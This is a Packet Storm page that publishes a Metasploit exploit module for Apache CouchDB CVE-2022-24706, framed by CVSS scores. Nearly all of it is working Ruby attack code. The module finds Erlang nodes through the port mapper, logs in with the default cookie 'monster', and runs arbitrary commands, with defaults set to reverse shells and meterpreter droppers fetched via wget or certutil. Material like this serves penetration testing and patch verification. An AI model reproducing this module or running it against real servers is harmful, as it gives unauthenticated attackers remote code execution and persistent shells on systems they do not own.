Lucene search

K
packetstorm1F98D, jheysel-r7, Konstantin Burov, _sadshade, Milton Valencia, metasploit.comPACKETSTORM:169702
HistoryNov 02, 2022 - 12:00 a.m.

Apache CouchDB Erlang Remote Code Execution

2022-11-0200:00:00
1F98D, jheysel-r7, Konstantin Burov, _sadshade, Milton Valencia, metasploit.com
packetstormsecurity.com
264

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Retry  
include Msf::Exploit::Powershell  
prepend Msf::Exploit::Remote::AutoCheck  
require 'msf/core/exploit/powershell'  
require 'digest'  
  
# Constants required for communicating over the Erlang protocol defined here:  
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html  
EPM_NAME_CMD = "\x00\x01\x6e".freeze  
NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze  
CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze  
CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze  
COOKIE = 'monster'.freeze  
COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Couchdb Erlang RCE',  
'Description' => %q{  
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without  
authenticating and gain admin privileges.  
},  
'Author' => [  
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery  
'1F98D', # Erlang Cookie RCE exploit  
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit  
'_sadshade', # Apache CouchDB Erlang Cookie exploit  
'jheysel-r7', # Msf Module  
],  
'References' => [  
[ 'EDB', '49418' ],  
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],  
[ 'CVE', '2022-24706'],  
],  
'License' => MSF_LICENSE,  
'Platform' => ['win', 'linux'],  
'Payload' => {  
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method  
},  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_openssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => :wget,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => :certutil,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'CmdStagerFlavor' => :certutil,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2022-01-21',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
),  
)  
  
register_options(  
[  
Opt::RPORT(4369)  
]  
)  
end  
  
def check  
erlang_ports = get_erlang_ports  
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.  
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?  
  
erlang_ports.each do |erlang_port|  
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been  
# successful and the target as well as the specific socket used in this instance is vulnerable  
sock = connect_to_erlang_server(erlang_port.to_i)  
if sock.instance_of?(Socket)  
@vulnerable_socket = sock  
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')  
else  
next  
end  
end  
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')  
end  
  
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers  
#  
# @return [Array] An array of port numbers for discovered Erlang Servers.  
def get_erlang_ports  
erlang_ports = []  
begin  
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")  
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })  
# request Erlang nodes  
sock.put(EPM_NAME_CMD)  
sleep datastore['WfsDelay']  
res = sock.get_once  
unless res && res.include?("\x00\x00\x11\x11name couchdb")  
print_error('Did not find any Erlang nodes')  
return erlang_ports  
end  
  
print_status('Successfully found EDPM socket')  
res.each_line do |line|  
erlang_ports << line.match(/\s(\d+$)/)[0]  
end  
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e  
print_error("Error connecting to EDPM: #{e.class} #{e}")  
disconnect  
return erlang_ports  
end  
erlang_ports  
end  
  
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the  
# default erlang cookie value in Apache CouchDB installations before 3.2.2  
#  
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server  
def connect_to_erlang_server(erlang_port)  
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')  
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })  
print_status('Connection successful')  
challenge = retry_until_truthy(timeout: 60) do  
sock.put(NAME_MSG)  
sock.get_once(5) # ok message  
sock.get_once  
end  
# The expected successful response from the target should start with \x00\x1C  
unless challenge && challenge.include?("\x00\x1C")  
print_error('Connecting to the Erlang server was unsuccessful')  
return  
end  
  
challenge = challenge[9..12].unpack('N*')[0]  
challenge_reply = "\x00\x15r\x01\x02\x03\x04"  
md5 = Digest::MD5.new  
md5.update(COOKIE + challenge.to_s)  
challenge_reply << [md5.hexdigest].pack('H*')  
sock.put(challenge_reply)  
sleep datastore['WfsDelay']  
challenge_response = sock.get_once  
  
if challenge_response.nil?  
print_error('Authentication was unsuccessful')  
return  
end  
print_status('Erlang challenge and response completed successfully')  
  
sock  
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e  
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")  
disconnect  
return  
end  
  
def compile_cmd(cmd)  
msg = ''  
msg << COMMAND_PREFIX  
msg << [cmd.length].pack('S>')  
msg << cmd  
msg << "jw\x04user"  
payload = ("\x70" + CTRL_DATA + msg)  
([payload.size].pack('N*') + payload)  
end  
  
def execute_command(cmd, opts = {})  
payload = compile_cmd(cmd)  
print_status('Sending payload... ')  
opts[:sock].put(payload)  
sleep datastore['WfsDelay']  
end  
  
def exploit_socket(sock)  
case target['Type']  
when :unix_cmd, :win_cmd  
execute_command(payload.encoded, { sock: sock })  
when :linux_dropper, :win_dropper  
execute_cmdstager({ sock: sock })  
when :psh_stager  
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })  
else  
fail_with(Failure::BadConfig, 'Invalid target specified')  
end  
end  
  
def exploit  
# If the check method has already been run, use the vulnerable socket that has already been identified  
if @vulnerable_socket  
exploit_socket(@vulnerable_socket)  
else  
erlang_ports = get_erlang_ports  
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)  
  
erlang_ports.each do |erlang_port|  
sock = connect_to_erlang_server(erlang_port.to_i)  
next unless sock.instance_of?(Socket)  
  
exploit_socket(sock)  
end  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C